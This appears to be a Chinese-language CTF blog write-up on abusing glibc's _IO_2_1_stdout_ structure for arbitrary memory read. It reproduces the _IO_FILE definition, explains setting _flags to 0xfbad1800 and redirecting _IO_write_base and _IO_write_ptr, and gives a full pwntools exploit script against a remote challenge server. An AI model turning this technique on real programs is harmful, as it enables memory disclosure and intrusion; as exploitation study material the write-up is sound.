_IO_2_1_stdout_结构体利用

文章发布时间:

最后更新时间:

文章总字数:
522

预计阅读时间:
3 分钟

页面浏览:加载中...

_IO_2_1_stdout_结构体利用

利用方法

修改输出函数的目标地址,从而任意地址读

使用条件

可以控制 _IO_stdout 结构体前0x30

前置知识

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */

#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

/* char* _save_gptr; char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

主要思路

比stdin简单多了,设置_flag=0xfbad1800

后面3个p64(0)填充read

篡改_IO_write_base为想输出的首地址,_IO_write_ptr为尾地址

例题和exp

1
http://10.81.2.230:5244/d/CTF%E9%A2%98%E7%9B%AE/CTFPUNK/Pwn/%E5%9F%BA%E7%A1%80Linux%E7%94%A8%E6%88%B7%E6%80%81Pwn/GLIBC%20IO_FILE/IO_stdout%E4%BB%BB%E6%84%8F%E8%AF%BB/pwn?sign=6t2qdTHPAg2cyWzel3lZOdxbmWLnaT2KEKULwD4yRG4=:0

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
lg = lambda name,data :p.success(name + ': \033[1;36m 0x%x \033[0m' % data)

def dbg():
attach(p, '''

p _IO_2_1_stdin_

''')
pause()

# p = process('./pwn')
elf = ELF('./pwn')
context(arch = elf.arch, os = 'linux',log_level = 'debug')

p = remote('121.199.64.23', 27511)


ru('gift: ')
libc_base = int(ru('\n'), 16) - 0x79bf0
_IO_2_1_stdout_ = libc_base + 0x1d95c0

ru('flag:')
flag = int(ru('\n'), 16)

lg('libc', libc_base)
lg('_IO_2_1_stdout_', _IO_2_1_stdout_)

se(p64(_IO_2_1_stdout_))
se(p64(0xfbad1800) + p64(0) * 3 + p64(flag) + p64(flag + 0x100))

p.interactive()

参考资料

https://www.cnblogs.com/pwnfeifei/p/15793432.html

https://bbs.kanxue.com/thread-272098.htm#msg_header_h3_14